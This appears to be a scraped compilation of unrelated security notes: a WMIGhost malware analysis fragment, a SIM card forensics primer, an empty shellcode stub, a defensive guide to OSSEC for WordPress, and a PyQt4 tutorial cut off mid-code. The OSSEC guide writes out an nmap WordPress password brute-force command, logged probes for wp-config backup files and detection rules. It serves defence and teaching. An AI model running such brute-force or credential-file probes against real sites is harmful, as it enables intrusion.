run VBScript/JScript without relying on `CScript.exe` or `WScript.exe`.

Seems like malware uses `Script Control` via `COM` to execute decrypted
function without `CScript.exe` or `WScript.exe`.

`call dword ptr[ecx+20h]` calls some function from `msscript.ocx`, but I have
no idea which function, there are no symbols, but I think it chooses
`javascript` to execute the script: <img
src='img/28249463-6871beac-6a67-11e7-94ad-945a832fa954.png' width='949'
height='322' alt='image' />

<img src='img/28249433-b4a4040c-6a66-11e7-84e8-a34dbbd94b0f.png' width='949'
height='253' alt='image' />

After this at `00401AB7` there is another call to function from
`msscript.ocx`: <img
src='img/28249497-f88cd2ba-6a67-11e7-806b-212657d531ab.png' width='949'
height='411' alt='image' />

I think this function is used to execute the script because it causes creation
of new process `scrcons.exe` <img
src='img/28249510-3b7196e2-6a68-11e7-80c1-168c27ec7254.png' width='949'
height='351' alt='image' />

According to `TrendMicro`’s great paper:

`Based on our analysis of using JS, the application wscript.exe is responsible
for executing the malicious code. However, in the case of WMI implementation,
such a script is executed by the WMI Standard Event Consumer - scripting
application, which can be found in the WMI folder in %system32%/
wbem/scrcons.exe. This makes the script hard to detect since it uses a not-so-
common WMI application—scrcons.exe—rather than the traditional JS
application—wscript.exe.`

Yes, the sample uses `WMI` and executes the script using `scrcons.exe`.

After creation of the new process, it also creates `httpcom.log` file and
writes infection date: <img
src='img/28249621-2ca2350c-6a6a-11e7-99c5-8bd9df759f48.png' width='949'
height='491' alt='image' />

Before exit it tries to delete `instell.exe` without success: <img
src='img/28249576-6fcd482c-6a69-11e7-9963-6eef868d83d9.png' width='949'
height='132' alt='image' />

That’s executable, let’s look at the script: <img
src='img/28249667-413e6bba-6a6b-11e7-93a3-d66baabe0716.png' width='949'
height='378' alt='image' />

It creates instance of `ActiveScriptEventConsumer` under `root\subscription`
namespace, executes `Javascript` script every `0x6e3` milliseconds , you can
get the script from the Gist or get using `WMI Explorer`, it’s under
`ROOT\subscription` namespace, the class is `ActiveScriptEventConsumer`, the
name of the instance is `ProbeScriptFint`, the script is a value of the
`ScriptText` property.

<img src='img/28249657-01e2eb12-6a6b-11e7-8f9b-1d965588f3fd.png' width='949'
height='256' alt='image' />

WMI classes stored in namespace: `subscription` allow permanent and general
access to WMI services.

`new MAIN().Fire()` causes executing of `MAIN` routine: <img
src='img/28249735-835bb9e8-6a6c-11e7-9db0-e7a133dc98d1.png' width='949'
height='678' alt='image' />

`CleanObjects` terminates execution of the script: <img
src='img/28249752-c41a1e48-6a6c-11e7-97bc-ef4223e2a3b5.png' width='949'
height='359' alt='image' />

Parses URLs from the argument and sends information about infected PC: <img
src='img/28249779-4087c6e2-6a6d-11e7-850d-01fc7436b96c.png' width='949'
height='513' alt='image' />

<img src='img/28249788-62d7e5ec-6a6d-11e7-8084-f9fb00224923.png' width='949'
height='409' alt='image' />

Receives commands and sends results: <img
src='img/28249794-9d6dbe0c-6a6d-11e7-804d-95c2408cdee0.png' width='949'
height='720' alt='image' />

<img src='img/28249803-e3a16aa4-6a6d-11e7-9e5f-a6c8fddadce3.png' width='949'
height='600' alt='image' />

If you prefer you can dive deeper into the script, it’s not obfuscated and is
easy to analyze.

That’s all… WMIGhost / Wimmie is a very interesting malware, it uses `WMI` to
achieve persistence and get system related information, the script is not on
the disk.

We can get information about `WMI Database Entries` using `Autoruns`: <img
src='img/28249882-5c6286b6-6a6f-11e7-9a09-0877bc162a2a.png' width='949'
height='176' alt='image' />

Maybe I overlook something related to `WMIGhost`, due to my limited knowledge,
if you find something interesting please contact me.

I’m new to reversing malware and any kind of feedback is helpful for me.

Twitter: @\_qaz\_qaz

**Resources** :

Understanding WMI Malware

  

# SIM Card Forensics | 0xicf
**Created:**| _10/16/2014 9:45:01 AM_  
---|---  
**Updated:**| _10/16/2014 9:45:01 AM_  
**Author:**| __  
**Tags:**| _mobile/embedded gsm_  
  

# SIM Card Forensics

<img src='img/Temp2_7142.jpg' alt='1' />

The SIM \(subscriber identity module\) is a fundamental component of cellular
phones. It’s also known as an integrated circuit card \(ICC\), which is a
microcontroller-based access module. It is a physical entity and can be either
a subscriber identity module \(SIM\) or a universal integrated circuit card
\(UICC\). A SIM can be removed from a cellular handset and inserted into
another; it allows users to port identity, personal information, and service
between devices. All cell phones are expected to incorporate some type of
identity module eventually, in part because of this useful property.
Basically, the ICC deployed for 2G networks was called a SIM and the UICC
smart card running the universal subscriber identity module \(USIM\)
application. The UICC card accepts only 3G universal mobile telecommunications
service \(UMTS\) commands. USIMs are enhanced versions of present-day SIMs,
containing backward-compatible information. A USIM has a unique feature in
that it allows one phone to have multiple numbers. If the SIM and USIM
application are running on the same UICC, then they cannot be working
simultaneously.

The first SIM card was about the size of a credit card. As technology
developed, the cell phone began to shrank in size and so did the SIM card. The
mini-SIM card, which is about one-third the size of a credit card. But today
we are using smartphones that use micro-SIM, which is smaller than mini-SIM.
These SIM cards vary in size but all have the functionality for both the
identification and authentication of the subscriber’s phone to its network and
all contain storage for phone numbers, SMS, and other information, and allow
for the creation of applications on the card itself.

<img src='img/Temp2_7143.jpg' alt='Untitled' />

**SIM Structure and File Systems**

A SIM card contains a processor and operating system with between 16 and 256
KB of persistent, electronically erasable, programmable read-only memory
\(EEPROM\). It also contains RAM \(random access memory\) and ROM \(read-only
memory\). RAM controls the program execution flow and the ROM controls the
operating system work flow, user authentication, data encryption algorithm,
and other applications. The hierarchically organized file system of a SIM
resides in persistent memory and stores data as names and phone number
entries, text messages, and network service settings. Depending on the phone
used, some information on the SIM may coexist in the memory of the phone.
Alternatively, information may reside entirely in the memory of the phone
instead of available memory on the SIM.

The hierarchical file system resides in EEPROM. The file system consists of
three types of files: master file \(MF\), dedicated files, and elementary
files. The master file is the root of the file system. Dedicated files are the
subordinate directories of master files. Elementary files contain various
types of data, structured as either a sequence of data bytes, a sequence of
fixed-size records, or a fixed set of fixed-size records used cyclically.

<img src='img/Temp2_7146.jpg' alt='1' />

As can be seen in the above figure, dedicated files are subordinate
directories under the MF, their contents and functions being defined by the
GSM11.11 standards. Three are usually present: DF \(DCS1800\), DF \(GSM\), and
DF \(Telecom\). Also present under the MF are EFs \(ICCID\). Subordinate to
each of the DFs are supporting EFs, which contain the actual data. The EFs
under DF \(DCS1800\) and DF \(GSM\) contain network-related information and
the EFs under DF \(Telecom\) contain the service-related information.

All the files have headers, but only EFs contain data. The first byte of every
header identifies the file type and the header contains the information
related to the structure of the files. The body of an EF contains information
related to the application. Files can be either administrative- or
application-specific and access to stored data is controlled by the operating
system.

**Security in SIM**

SIM cards have built-in security features. The three file types, MF, DF, and
EF, contain the security attributes. These security features filter every
execution and allow only those with proper authorization to access the
requested functionality. There are different levels of access conditions in DF
and EF files. They are:

  * **Always—** This condition allows to access files without any restrictions.
  * **Card holder verification 1 \(CHV1\)—** This condition allows access to files after successful verification of the user’s PIN or if PIN verification is disabled.
  * **Card holder verification 2 \(CHV2\)—** This condition allows access to files after successful verification of the user’s PIN2 or if the PIN2 verification is disabled.
  * **Administrative \(ADM\)—** The card issuer who provides SIM to the subscriber can access only after prescribed requirements for administrative access are fulfilled.
  * **Never \(NEV\)—** Access of the file over the SIM/ME interface is forbidden.

The SIM operating system controls access to an element of the file system
based on its access condition and the type of action being attempted. The
operating system allows only limited number of attempts, usually three, to
enter the correct CHV before further attempts are blocked. For unblocking, it
requires a PUK code, called the PIN unblocking key, which resets the CHV and
attempt counter. If the subscriber is known, then the unblock CHV1/CHV2 can be
easily provided by the service provider.

**Sensitive Data in SIM**

<img src='img/Temp2_7142.jpg' alt='1' />

The SIM card contains sensitive information about the subscriber. Data such as
contact lists and messages can be stored in SIM. SIM cards themselves contain
a repository of data and information, some of which is listed below:

  * Integrated circuit card identifier \(ICCID\)
  * International mobile subscriber identity \(IMSI\)
  * Service provider name \(SPN\)
  * Mobile country code \(MCC\)
  * Mobile network code \(MNC\)
  * Mobile subscriber identification number \(MSIN\)
  * Mobile station international subscriber directory number \(MSISDN\)
  * Abbreviated dialing numbers \(ADN\)
  * Last dialed numbers \(LDN\)
  * Short message service \(SMS\)
  * Language preference \(LP\)
  * Card holder verification \(CHV1 and CHV2\)
  * Ciphering key \(Kc\)
  * Ciphering key sequence number
  * Emergency call code
  * Fixed dialing numbers \(FDN\)
  * Local area identity \(LAI\)
  * Own dialing number
  * Temporary mobile subscriber identity \(TMSI\)
  * Routing area identifier \(RIA\) network code
  * Service dialing numbers \(SDNs\)

These data have forensics value and can be scattered from EF files. Now we
will discuss some of these data.

**A. Service Related Information**

**ICCID:** The integrated circuit card identification is a unique numeric
identifier for the SIM that can be up to 20 digits long. It consists of an
industry identifier prefix \(89 for telecommunications\), followed by a
country code, an issuer identifier number, and an individual account
identification number**.**  
Twenty-digit ICCIDs have an additional “checksum” digit. One example of the
interpretation of a hypothetical nineteen digit ICCID \(89 310 410 10
654378930 1\) is shown below.

  * **Issuer identification number \(IIN\) is variable in length up to a maximum of seven digits:**

**_-_**_The first two digits are fixed and make up the Industry Identifier.
“89″ refers to the telecommunications industry._

_-The next two or three digits refer to the mobile country code \(MCC\) as
defined by ITU-T recommendation E.164. “310″ refers to the United States._

_-The next one to four digits refer to the mobile network code \(MNC\). This
is a fixed number for a country or world zone. “410″ refers to the operator,
AT &T Mobility._

_-The next two digits, “10,” pertain to the home location register._

  * **Individual account information is variable in length:**

**_-_**_The next nine digits, “654378930,” represent the individual account
identification number. Every number under one IIN has the same number of
digits._

  * **Check digit—the last digit, “1,” is computed from the other 18 digits using the Luhn algorithm.**

**IMSI:** The international mobile subscriber identityis a unique 15-digit
number provided to the subscriber. It has a similar structure to ICCID and
consists of the MCC, MNC, and MSIN. An example of interpreting a hypothetical
15-digit IMSI \(302 720 123456789\) is shown below:

  * MCC—The first three digits identify the country. “302″ refers to Canada.
  * MNC—The next two \(European Standard\) or three digits \(North American Standard\) identify the operator. “720″ refers to Rogers Communications.
  * MSIN—The next nine digits, “123456789,” identify the mobile unit within a carrier’s GSM network

**MSISDN—** The Mobile Station International Subscriber Directory Number is
intended to convey the telephone number assigned to the subscriber for
receiving calls on the phone. An example of the MSISDN format is shown below:

  * CC can be up to 3 digits.
  * NDC usually 2 or 3 digits.
  * SN can be up to a maximum 10 digits.

**B. Phonebook and Call Information**

**1\. Abbreviated dialing numbers \(ADN\)—** Any number and name dialed by the
subscriber is saved by the ADN EF. The type of number and numbering plan
identification is also maintained under this. This function works on the
subscriber’s commonly dialed numbers. The ADN cannot be changed by the service
provider and they can be attributed to the user of the phone. Most SIMs
provide 100 slots for ADN entries.

**2\. Fixed dialing numbers \(FDN\)—** The FDN EF works similar to the ADN
because it involves contact numbers and names. With this function, the user
doesn’t have to dial numbers; by pressing any number pad of the phone, he can
access to the contact number.

**3\. Last number dialed \(LND\)—** The LND EF contains the number most
recently dialed by the subscriber. The number and name associated with that
number is stored in this entry. Depending upon the phone, it is also
conceivable that the information may be stored in the handset and not on the
SIM. Any numbers that may be present can provide valuable information to an
investigator.

<img src='img/Temp2_7141.jpg' alt='Untitled' />

**XML Phonebook Entry**

**C. Messaging Information—** Messaging is a communication medium by which
text is entered on one cell phone and delivered via the mobile phone network.
The short message service contains texts and associated parameters for the
message. SMS entries contain other information besides the text itself, such
as the time an incoming message was sent, as recorded by the mobile phone
network, the sender’s phone number, the SMS center address, and the status of
the entry. An SMS is limited to either 160 characters \(Latin alphabet\) or 70
characters \(for other alphabets\). Longer messages are broken down by the
sending phone and reassembled by the receiving phone.

**Tools for SIM Forensics**

To perform forensic investigation on a SIM card, it has to be removed from the
cell phone and connect to a SIM card reader. The original data of SIM card is
preserved by the elimination of write requests to the SIM during its analysis.
Then we calculate the HASH value of the data; hashing is used for checking the
integrity of the data, that is, whether it has changed or not. There are lots
of forensic tools are available but all tools are not able to extract data
from every type of cell phone and SIM card. Now we will discuss about some
famous tools:

**Encase Smartphone Examiner:** This tool is specifically designed for
gathering data from smartphones and tablets such as iPhone, iPad, etc. It can
capture evidence from devices that use the Apple iOS, HP Palm OS, Windows
Mobile OS, Google Android OS, or RIM Blackberry OS. It can acquire data from
Blackberry and iTunes backup files as well as a multitude of SD cards. The
evidence can be seamlessly integrated into EnCase Forensic.

<img src='img/Temp2_7148.jpg' alt='1' />

**MOBILedit\! Forensic:** This tool can analyze phones via Bluetooth, IrDA, or
cable connection; it analyzes SIMs through SIM readers and can read deleted
messages from the SIM card.

<img src='img/Temp2_7144.jpg' alt='a' />

**pySIM:** A SIM card management tool capable of creating, editing, deleting,
and performing backup and restore operations on the SIM phonebook and SMS
records.

<img src='img/Temp2_7145.jpg' alt='Untitled' />

**AccessData Mobile Phone Examiner \(MPE\) Plus:** This tool supports for than
7000 phones including iOS , Android , Blackberry, Windows Mobile, and Chinese
devices and can be purchased as hardware with a SIM card reader and data
cables. File systems are immediately viewable and can be parsed in MPE+ to
locate lock code, EXIF, and any data contained in the mobile phone’s file
system.

<img src='img/Temp2_7149.jpg' alt='1' />

**SIMpull:** SIMpull is a powerful tool, a SIM card acquisition application
that allows you to acquire the entire contents of a SIM card. This capability
includes the retrieval of deleted SMS messages, a feature not available on
many other commercial SIM card acquisition programs. SIMpull first determines
if the card is either a GSM SIM or 3G USIM, then performs a logical
acquisition of all files defined in either ETSI TS 151.011 \(GSM\) or ETSI TS
131.102 \(USIM\) standards.

<img src='img/Temp2_7147.jpg' alt='1' />

As can be seen in above figure, by using the SIMpull application we can see
the information of SMS such as a SMS text and its length, the SMS sender’s
number information, service center information, etc.

**References**

http://www.forensicmag.com/articles/2011/04/sim-forensics-part-1

http://www.infosecinstitute.com/courses/mobile-computer-forensics.html

https://www.visualanalysis.com/ProductsVA\_SIMpull.aspx

http://csrc.nist.gov/groups/SNS/mobile\_security/documents/mobile\_forensics/Reference%20Mat-
final-a.pdf

CREDIT: Rohit Shaw – eforensicsmag

# English Shellcode

**Created:**| _3/27/2010 6:35:25 PM_  
---|---  
**Updated:**| _3/27/2010 6:35:38 PM_  
**Author:**| __  
**Tags:**| _shellcode Exploit_  
  
<img src='img/Temp2_2722' />

# Defending WordPress with OSSEC

**Created:**| _10/30/2013 3:40:27 PM_  
---|---  
**Updated:**| _10/30/2013 3:40:27 PM_  
**Author:**| __  
**Tags:**| __  
  

# **D** efending WordPress with OSSEC****

In a recent post I covered the ways a WordPress site can be attacked **.**
Using the open source OSSEC  the majority of those attacks can be detected and
even blocked at the system level**.**

Note that using OSSEC requires you to have full control of your server,
generally this means either hosting on a dedicated server or a VPS**.** In a
shared hosting or managed WordPress environment protection at the system level
is the responsibility of the hosting company**.**

OSSEC is a host based Intrusion Detection System \(HIDS\)**.** It can also be
installed as an Intrusion Prevention System \(IPS\) as it has the capability
of blocking attacks in real time as they are detected**.**

During the installation of OSSEC  you can chose to have the system run in IDS
\(passive monitoring\) or IPS \(active response\) mode**.** When using the
active response option real time firewall blocking will stop attackers in
their tracks**.** Note that if you are using the HackerTarget.com
vulnerability scanning service  or your own scanning solution you will wish to
white list the IP addresses of the scanning servers**.**

## Detecting WordPress attacks****

In a default installation of OSSEC a number of common WordPress attacks will
be detected and blocked _automagically_ if in active response \(IPS\)
mode**.** If you are using non-blocking mode \(IDS\) then an email will
usually be generated to alert you to the fact that an attack is under way**.**

Attackers brute forcing plugins, themes or timthumb’s  will find themselves
blocked by the level 6 rule that detects multiple 404′s**.** If your site is
broken and does produce a number of 404′s for normal visitors you may want to
confirm that legitimate visitors are not being blocked by this rule**.**

Lets examine the alert generated by the Multiple 404 rule, this was generated
by the WPScan WordPress security testing  tool that is looking for readable
versions of the `wp-config.php` file – this file contains database details
including the password**.**

This alert was found in the `/var/ossec/logs/alerts/alerts.log` file**.**

[code]

    ** Alert 1383085992**.** 19700: mail  - web,accesslog,web_scan,recon,
    2013 Oct 30 09:33:12 xwing01->/var/log/apache2/access.log
    Rule: 31151 (level 10) -> 'Multiple web server 400 error codes from same source ip**.** '
    Src IP: 192**.** 168.1.50
    192.168**.** 1.50 - - [30/Oct/2013:09:33:12 +1100] "GET /wordpress/wp-config.php.old HTTP/1**.** 1" 404 487 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10**.** 6; rv:9.0) Gecko/20100101 Firefox/9.0"
    192.168**.** 1.50 - - [30/Oct/2013:09:33:12 +1100] "GET /wordpress/wp-config.old HTTP/1**.** 1" 404 483 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10**.** 6; rv:9.0) Gecko/20100101 Firefox/9.0"
    192.168**.** 1.50 - - [30/Oct/2013:09:33:12 +1100] "GET /wordpress/wp-config.save HTTP/1**.** 1" 404 484 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10**.** 6; rv:9.0) Gecko/20100101 Firefox/9.0"
    192.168**.** 1.50 - - [30/Oct/2013:09:33:12 +1100] "GET /wordpress/wp-config.php.bak HTTP/1**.** 1" 404 487 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10**.** 6; rv:9.0) Gecko/20100101 Firefox/9.0"
    192.168**.** 1.50 - - [30/Oct/2013:09:33:12 +1100] "GET /wordpress/wp-config.bak HTTP/1**.** 1" 404 483 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10**.** 6; rv:9.0) Gecko/20100101 Firefox/9.0"
    192.168**.** 1.50 - - [30/Oct/2013:09:33:12 +1100] "GET /wordpress/wp-config.php_bak HTTP/1**.** 1" 404 487 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10**.** 6; rv:9.0) Gecko/20100101 Firefox/9.0"
    192.168**.** 1.50 - - [30/Oct/2013:09:33:12 +1100] "GET /wordpress/wp-config.php.swo HTTP/1**.** 1" 404 487 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10**.** 6; rv:9.0) Gecko/20100101 Firefox/9.0"
    
[/code]

On my test OSSEC installation I have active response enabled, so the source IP
address 192**.** 168.1.50 was automatically blocked with a firewall rule**.**
Notice the above alert was from Rule 31151 that is classed as level 10**.**
The default active response \(block\) level is any rule level 6 or greater,
this can be found in the `/var/ossec/etc/ossec.conf` file**.**

The triggered active responses can be seen in the log `/var/ossec/logs/active-
responses.log`, as you can see after 10 minutes \(600 second default\) the
block rule is removed**.**

[code]

    Wed Oct 30 09:33:12 EST 2013 /var/ossec/active-response/bin/host-deny**.** sh add - 192.168.1.50 1383085992**.** 19700 31151
    Wed Oct 30 09:33:12 EST 2013 /var/ossec/active-response/bin/firewall-drop**.** sh add - 192**.** 168.1.50 1383085992.19700 31151
    Wed Oct 30 09:43:43 EST 2013 /var/ossec/active-response/bin/host-deny**.** sh delete - 192.168.1.50 1383085992**.** 19700 31151
    Wed Oct 30 09:43:43 EST 2013 /var/ossec/active-response/bin/firewall-drop**.** sh delete - 192**.** 168.1.50 1383085992.19700 31151
[/code]

Following the testing using WPScan I tried to brute force the user account
‘admin2′, this valid user account was detected by enumerating  with the author
archives method**.**

Did you know that against a low end VPS an attacker can brute force a
WordPress user account with around 500 passwords per minute**.** That is
720000 passwords per day**.** Without security monitoring these attacks could
continue until the correct password is found**\!**

Using the Nmap NSE WordPress password brute force script  I attempted a
password brute force**.**

[code]

    root@xwing01:~# nmap -sV --script http-wordpress-brute --script-args 'http-wordpress-brute.uri=/wordpress/wp-login.php' 192**.** 168**.** 1.50
    
    Starting Nmap 6.25 ( http://nmap.org ) at 2013-10-30 10:15 EST
    Stats: 0:05:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
    NSE Timing: About 33**.** 33% done; ETC: 10:30 (0:10:06 remaining)
    Nmap scan report for 192**.** 168.1**.** 50
    Host is up (0.0000050s latency).
    Not shown: 996 closed ports
    PORT     STATE SERVICE         VERSION
    80/tcp   open  http            Apache httpd 2**.** 2.22 ((Ubuntu))
    | http-wordpress-brute: 
    |   Accounts
    |     No valid accounts found
    |   Statistics
    |_    Performed 244 guesses in 605 seconds, average tps: 0
    443/tcp  open  ssl             SSLv3
    902/tcp  open  ssl/vmware-auth VMware Authentication Daemon 1**.** 10 (Uses VNC, SOAP)
    3000/tcp open  ntop-http       Ntop web interface 4**.** 99.3
    
    Service detection performed**.** Please report any incorrect results at http://nmap.org/submit/ **.**
    Nmap done: 1 IP address (1 host up) scanned in 610**.** 98 seconds
[/code]

This attack was blocked by a rule triggered by the multiple WordPress login
attempts**.** This default OSSEC rule will auto block \(or alert\) if an
attacker attempts to brute force user accounts**.**

[code]

    ** Alert 1383088521.45613: - web,appsec,attack
    2013 Oct 30 10:15:21 xwing01->/var/log/apache2/access.log
    Rule: 31510 (level 6) -> 'WordPress wp-login.php brute force attempt**.** '
    Src IP: 192.168**.** 1.50
    192.168.1**.** 50 - - [30/Oct/2013:10:15:20 +1100] "POST /wordpress/wp-login.php HTTP/1**.** 1" 200 3598 "-" "Mozilla/5**.** 0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
    192**.** 168**.** 1.50 - - [30/Oct/2013:10:15:20 +1100] "POST /wordpress/wp-login.php HTTP/1**.** 1" 200 3598 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
    192**.** 168.1.50 - - [30/Oct/2013:10:15:20 +1100] "POST /wordpress/wp-login.php HTTP/1**.** 1" 200 3598 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
    192**.** 168.1.50 - - [30/Oct/2013:10:15:19 +1100] "POST /wordpress/wp-login.php HTTP/1**.** 1" 200 3598 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
    192**.** 168.1**.** 50 - - [30/Oct/2013:10:15:19 +1100] "POST /wordpress/wp-login.php HTTP/1**.** 1" 200 3598 "-" "Mozilla/5**.** 0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
    192**.** 168**.** 1.50 - - [30/Oct/2013:10:15:19 +1100] "POST /wordpress/wp-login.php HTTP/1**.** 1" 200 3598 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"
    
[/code]

Note that without active response enabled these rules will simply send an
email alert advising you of the attack**.** In recent months there was a
massive increase in automated brute force attacks this meant a steady stream
of alert emails for those monitoring their WordPress**.** Excessive alerts can
easily be suppressed, in IDS speak this is known as tuning**.**

## Add a new rule to OSSEC****

It is a not difficult to create custom rules**.** The following rule can be
added to get visibility into attackers performing reconnaissance against our
WordPress installation**.** As seen in the Attacking WordPress  article
finding the exact version of the WordPress installation can be achieved by
looking for the presence of the `/readme.html` file**.**

To create a rule to detect recon against `/readme.html` we can add the
following to the `local_rules.xml` file**.**

[code]

    <rule id="100040" level="6">
       <if_sid>31100</if_sid>
       <match>readme.html</match>
       <description>WordPress Recon - /readme.html accessed**.** </description>
    </rule>
[/code]

This rule will trigger whether you have deleted \(recommended\) the
`/readme.html` or not**.** As the rule simply looks for a matching HTTP
request in the web servers log file that has the string `/readme.html`**.**

[code]

    ** Alert 1383091680**.** 53706: - local,syslog,
    2013 Oct 30 11:08:00 xwing01->/var/log/apache2/access.log
    Rule: 100040 (level 6) -> 'WordPress Recon - /readme.html accessed**.** '
    Src IP: 192**.** 168.1.50
    192.168**.** 1.50 - - [30/Oct/2013:11:07:58 +1100] "GET /wordpress/wp-admin/css/install.css**?** ver=20100228 HTTP/1.1" 304 210 "http://192**.** 168.1.50/wordpress/readme.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537**.** 36 (KHTML, like Gecko) Chrome/31.0.1650.34 Safari/537**.** 36"
[/code]

## File integrity checks****

A powerful feature of OSSEC is the file integrity checking, this can detect
changes to the servers file system that may indicate a compromise has occurred
or there is a problem in the system**.** We can also add the WordPress
installation path the directories that are checked in the file integrity
monitoring**.**

Here is the relevant part of the `/var/ossec/etc/ossec.conf` file that
requires changing if you wish to add the WordPress installation path to the
file**.** Here you can also change the frequency of the checks as currently it
is configured to check once every 22 hours**.**

[code]

     <syscheck>
        <!-- Frequency that syscheck is executed - default to every 22 hours -->
        <frequency>79200</frequency>
        
        <**!** -- Directories to check  (perform all possible verifications) -->
        <directories check_all="yes">/etc,/usr/bin,/usr/sbin,/var/www/wordpress</directories>
        <directories check_all="yes">/bin,/sbin</directories>
    
        <**!** -- Files/directories to ignore -->
        <ignore>/etc/mtab</ignore>
        <ignore>/etc/mnttab</ignore>
        <ignore>/etc/hosts.deny</ignore>
    
[/code]

Note if you add the WordPress path to the file monitoring in the `ossec.conf`,
you may need to include ignore paths for the uploads and any caching folders
as these contain files that regularly change**.**

The benefit of adding the WordPress path to your file integrity monitoring is
that if someone does compromise the system and adds some nasty `javascript` or
dodgey `PHP` to any of your WordPress files, this will be detected and you
will be alerted**.**

## Default Rules for Server Monitoring****

In addition to directly monitoring the WordPress application and Web server
logs, having OSSEC on your host will also detect:

  * SSH brute force attempts
  * New users added to the system
  * First time user logged in
  * New services \(backdoors**\!**\) listening \(netstat diff\)
  * lots more….. take a look at /var/ossec/rules/

One of the advantages of using the OSSEC approach is you do not need to any
plugins to your WordPress installation**.** While there are solid security
plugins available for WordPress I prefer to minimise my use of plugins of any
sort in WordPress installations**.** Reducing the number of plugins is a
simple way to reduce the size of your attackable footprint**.** There have
even been instances where security plugins have actually introduced security
vulnerabilities**.**

Spending 10 minutes setting up OSSEC on your server will provide you with a
solid base of security monitoring**.** With a small investment of time and the
right tools your WordPress install can be as secure as the big boys**.** Get
OSSEC, Get Visibility.

****

# PyQt4 Snippets

**Created:**| _1/12/2010 9:52:51 AM_  
---|---  
**Updated:**| _1/12/2010 9:52:57 AM_  
**Author:**| __  
**Tags:**| _python qt_  
  

# PyQt4 Snippets

# What to do with this .ui file ?

Contents

  * Generate a self executable
  * Using the ui file directly
  * A better approach : derivate QMainWindow
  * derivate two classes QMainWindow and Ui\_MainWindow

Here we will start by drawing a very basic form. Open QtDesigner, choose a new
"Main Window" and :

  * Add a pushButton by dragging it from the widget box on your window;
  * Click inside the window, but outside your pushButton;
  * Click "Adjust Size" from the Toolbar;
  * Click "Layout Horizontaly" \(your button should then grow to the window's width\);
  * In the Object Inspector area, left click "MainWindow" just to choose it;
  * In the Property Editor, change the object's WindowTitle to "MyApp" \(not the object's name \!\).
  * Save it to a place of your choice, with the name "MyApp.ui".

Here's a screnshot of my MyApp.ui once you click Form/Preview from the
QtDesigner menu \(or click Ctrl+R\):

<img src='img/Temp2_6535.png' alt='sample1' />

Before going further, it's good to see once what's in this '.ui' file, so
let's do it :

[code]

    <ui version="4.0" >
     <class>MainWindow</class>
     <widget class="QMainWindow" name="MainWindow" >
      <property name="geometry" >
       <rect>
        <x>0</x>
        <y>0</y>
        <width>400</width>
        <height>300</height>
       </rect>
      </property>
      <property name="windowTitle" >
       <string>MyApp</string>
      </property>
      <widget class="QWidget" name="centralwidget" >
       <layout class="QHBoxLayout" >
        <item>
         <widget class="QPushButton" name="pushButton" >
          <property name="text" >
           <string>PushButton</string>
          </property>
         </widget>
        </item>
       </layout>
      </widget>
      <widget class="QMenuBar" name="menubar" >
       <property name="geometry" >
        <rect>
         <x>0</x>
         <y>0</y>
         <width>400</width>
         <height>25</height>
        </rect>
       </property>
      </widget>
      <widget class="QStatusBar" name="statusbar" />
     </widget>
     <resources/>
     <connections/>
    </ui>
    
    
[/code]

As you can see, it's just an XML file. Next, we will concentrate on what can
be done with it.

# Generate a self executable

This is done thanks to the **pyuic4** utility. Enter a command line, go inside
the directory where you saved "MyApp.ui" and type

[code]

    pyuic4 -o MyApp.py -x MyApp.ui
    
    
[/code]

This has the effect to build a self executable Python, file "MyApp.py".

The **pyuic4** utility has a signifiant number of options, it might be a good
idea to look at them once :

Options | Utility   
---|---  
-h or --help | An help message is generated in the output   
-version | The version number is marked on the output   
i N or --indent=N | Python source code will be indented by N spaces. If N=0, tabs will be used instead of spaces. The default value is N=4   
-o File or --output=File | The generated source code is written to a file, you have to give the name with the "py" extension. Note that this file is not executable.   
-p or --preview | The GUI is dynamically generated, no code is generated. Good for testing   
-x or --execute | The generated source will be executable.   
So, if we examine the above command, we just asked puyic4 to build an
executable Python file "MyApp.py" from "MyApp.ui". You'll see later on that we
won't modify this generated file, in fact this clearly written inside : open
"MyApp.py" to see the first commented lines :

[code]

    # -*- coding: utf-8 -*-
    
    # Form implementation generated from reading ui file 'MyApp.ui'
    #
    # Created: Tue Jul 24 18:39:53 2007
    #      by: PyQt4 UI code generator 4-snapshot-20070723
    #
    # WARNING! All changes made in this file will be lost!
    
    
[/code]

So, we will see later how to use it.

Also note that the "-x" option had the only effect of adding the lines you'll
see from "if \_\_name\_\_ == "\_\_main\_\_ :" till the end.

[code]

    if __name__ == "__main__":
        import sys
        app = QtGui.QApplication(sys.argv)
        MyApp = QtGui.QMainWindow()
        ui = Ui_MyApp()
        ui.setupUi(MyApp)
        MyApp.show()
        sys.exit(app.exec_())
    
    
[/code]

# Using the ui file directly

In fact you don't even have to produce an executable file. You can dynamically
call the generated "ui" file from your code, like this \(Note that I added a
part of code to show you how to change the Look & Feel of your app\):

[code]

    #!/usr/bin/env python
    import sys
    
    from PyQt4 import QtGui, uic
    
    app = QtGui.QApplication(sys.argv)
    ## Change the app's look and feel
    QtGui.QApplication.setStyle(QtGui.QStyleFactory.create("Cleanlooks"))
    ## and the corresponding palette
    QtGui.QApplication.setPalette(QtGui.QApplication.style().standardPalette())
    widget = uic.loadUi("MyApp.ui")
    widget.show()
    app.exec_()
    
    
[/code]

This method is good for debuging/testing purpose only, it is rather limited in
a sense that you don't have any control on your form. How to add a method to a
given slot for example ?

# A better approach : derivate QMainWindow

Create a new Python file in your working directory. Name it "test\_MyApp.py",
copy the following code and save it.

[code]

    # File : test_MyApp.py
    import sys
    from PyQt4 import QtGui, QtCore
    from MyApp import Ui_MainWindow
    
    # We start a new class here
    # derived from QMainWindow
    
    class TestApp(QtGui.QMainWindow):
        def __init__(self):
